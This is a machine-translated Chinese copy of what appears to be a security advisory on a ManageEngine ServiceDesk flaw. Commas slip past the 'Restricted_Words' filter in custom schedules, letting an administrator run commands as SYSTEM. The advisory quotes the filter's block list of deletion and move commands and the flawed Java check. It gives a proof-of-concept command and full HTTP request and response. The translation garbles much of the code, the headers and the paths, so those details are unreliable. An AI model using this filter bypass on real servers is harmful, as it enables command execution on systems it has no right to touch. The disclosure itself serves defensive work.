限制的列表脚本语言不足以阻止恶意代码执行自定义脚本。与管理员权限远程攻击者可能会划参数用逗号(",")字符包含限制单词(如执行脚本。“回声”)和最终执行任意命令与系统特权。
自定义日程安排页面允许管理员创建一个操作在指定的开始时间和重复执行根据需要在指定的时间间隔。可以指定一个“执行人”这样一个“脚本”命令将启动。用户界面中列出的一个例子:“cmd / c CreateJiraTicket.bat”。开发人员显然已经决定实现的功能,允许任意shell命令执行。然而,开发人员也应用的输入检查试图限制命令允许的类型。
具体来说,C:\Program Files\ ManageEngine \ ServiceDesk \ conf \ \ ServiceDesk资产。xml包含一个“脚本限制语”GlobalConfig元素设计限制允许在命令。见下文。
< GlobalConfig globalconfigid =“GlobalConfig: globalconfigid: 2600”=“Execute_Script”参数=“Restricted_Words paramvalue”=“输出文件,Out-File、写呼应,OpenTextFile,移动,Move-Item,移动,mv,移动文件,德尔,Remove-Item,删除rm,拆开,删除目录,DeleteFile,任,Rename-Item,重命名,mv, cp, rm,移动文件”描述= "脚本限制单词" / >
这个功能是执行当POST请求/ api / v3 / custom_schedules。例如,如果遗嘱执行人领域充满了“回声“测试”> C: \ \测试。txt”(不包括单引号),返回一个响应消息表明“限制的话(回声)不允许”。
![](//www.yyueer.com/sites/drupal.dmz.tenablesecurity.com/files/files/advisory/me_not_allowed.png)
{" response_status ":{“消息”:[{“消息”:“限制的话(回声)不允许”},{“类型”:“失败”,“消息”:“错误处理请求时。”,“status_code”: " 4004 "}),“状态”:“失败”}}
然而,在输入验证,当脚本命令检查是否包含任何限制的话,命令分为“单词”(参数)和假设参数分隔的空间(" ")。看到以下代码片段containsScriptRestrictedWords()方法:
com.adventnet.servicedesk.utils.ServiceDeskUtil.java:
公共String [] getScriptRestrictedWords()抛出异常{字符串restrictedWords = GlobalConfigUtil.getInstance ()。getGlobalConfigValue (“Restricted_Words”、“Execute_Script”);返回restrictedWords.split (", ");}公共设置containsScriptRestrictedWords(字符串输入)抛出异常{HashSet <字符串> input_words = new HashSet <字符串> ();input_words.addAll (arrays . aslist(输入。分割(" ")));input_words.retainAll (arrays . aslist (this.getScriptRestrictedWords ()));返回input_words;}
这是不够的,因为参数可以与其他字符分隔(例如逗号、分号)。例如,这些命令是等价的:
c: \ >回声“Hello World”“Hello World”c: \ >呼应,“Hello World”“Hello World”c: \ >回声;“Hello World”“Hello World”
的概念:
创建一个新的定制计划,在未来执行几分钟。遗嘱执行人的字段中,输入以下命令:
cmd / c”呼应,测试> c: \ \用法”
生成的HTTP POST请求看起来像这样:
POST / api / v3 / custom_schedules HTTP / 1.1主持人:172.26.31.177:8080内容长度:521接受:* / * X-ZCSRF-TOKEN: sdpcsrfparam = cbd6ca21e9dcb7a314cac17c678ae2791c42cd1e8620d42b0ec9bd1b02ca99a4e50986554cdb6a6be2d2804be0d723c32613143caebfe500a286190aafe99844 X-Requested-With: XMLHttpRequest user - agent: Mozilla / 5.0 (Windows NT 10.0;Win64;x64) AppleWebKit / 537.36 (KHTML,像壁虎)Chrome / 88.0.4324.150 Safari 537.36 - type:应用程序/ x-www-form-urlencoded;utf - 8字符集=产地:http://172.26.31.177:8080推荐人:http://172.26.31.177:8080应用程序接受编码:gzip、缩小接收语言:en - us, en; q = 0.9饼干:PORTALID = 1;memarketing -_zldp = Mltw9Iqq5RTcm0DrX % 2 bjd4x3cgrdqd79ccyeq % 2 fr9bh0hhr5l % 2 bra9awbijv % 2 fdqflexjdeb3ylzdu0 % 3 d;memarketing -_zldt = 6 a712f22 - 6 - b5a - 4181 - 983 - c - 231 ea0c79ce8 - 2;close_antivirus_Customization_4 = true;SDPSESSIONID = EC6D3656EEBF5DD2DD8D8DFFEB10020E;JSESSIONIDSSO = 1955688 af439420a2ac178e7c883464e;sdpcsrfcookie = cbd6ca21e9dcb7a314cac17c678ae2791c42cd1e8620d42b0ec9bd1b02ca99a4e50986554cdb6a6be2d2804be0d723c32613143caebfe500a286190aafe99844; _zcsr_tmp=cbd6ca21e9dcb7a314cac17c678ae2791c42cd1e8620d42b0ec9bd1b02ca99a4e50986554cdb6a6be2d2804be0d723c32613143caebfe500a286190aafe99844; Connection: close INPUT_DATA=%7B%22custom_schedules%22%3A%7B%22is_enabled%22%3Atrue%2C%22description%22%3A%22%22%2C%22executor_type%22%3A%22script%22%2C%22is_periodic%22%3Afalse%2C%22interval_type%22%3Anull%2C%22interval_value%22%3A0%2C%22executor%22%3A%22cmd+%2Fc+%5C%22echo%2Ctest+%3E+test.txt%5C%22%22%2C%22name%22%3A%22Test%22%2C%22start_time%22%3A%7B%22value%22%3A%221614088080000%22%7D%7D%7D&sdpcsrfparam=cbd6ca21e9dcb7a314cac17c678ae2791c42cd1e8620d42b0ec9bd1b02ca99a4e50986554cdb6a6be2d2804be0d723c32613143caebfe500a286190aafe99844
当然,令牌和会话这个会话标识符的值是唯一的。
这样产生的响应将会出现:
HTTP / 1.1 200 X-Content-Type-Options: nosniff X-XSS-Protection: 1;模式=块杂注:no - cache cache - control:私人,no - cache,不是商店,信息= 0,must-revalidate到期:星期四,1970年1月1日格林尼治时间就是- type: application / json; charset = utf - 8内容长度:693日期:星期二,2021年2月23日格林尼治时间13:47:40连接:关闭服务器:{" response_status ":{“消息”:[{“类型”:“成功”、“消息”:“定制时间表添加”,“status_code”: " 200 "}),“状态”:“成功”},“custom_schedules”: {" created_time ": {“display_value”:“2021年2月23日上午05:47”、“价值”:“1614088060105”},“描述”:空,“created_by”: {“email_id”:空,“名字”:“管理员”、“is_vipuser”:假的,“id”:“4”},“interval_value”:空,“结果”:空,“is_enabled”:真的,“start_time”: {“display_value”:“2021年2月23日上午05:48”、“价值”:“1614088080589”},“executor_type”:“脚本”,“next_time”: {“display_value”:“2021年2月23日上午05:48”、“价值”:“1614088080533”},“执行人”:“cmd / c \”呼应,测试>用法\”,“last_time”:空,“名字”:“测试”、“id”:“119”,“is_periodic”:假的,“interval_type”:零}}
检查C: \ \测试。txt创建,它包含“测试”这个词。
c: \ >输入c: \ \测试。三种测试
使用工具像Sysinternals的过程监控,可以看到这一过程是由系统。
![](//www.yyueer.com/sites/drupal.dmz.tenablesecurity.com/files/files/advisory/me_sysinternals.png)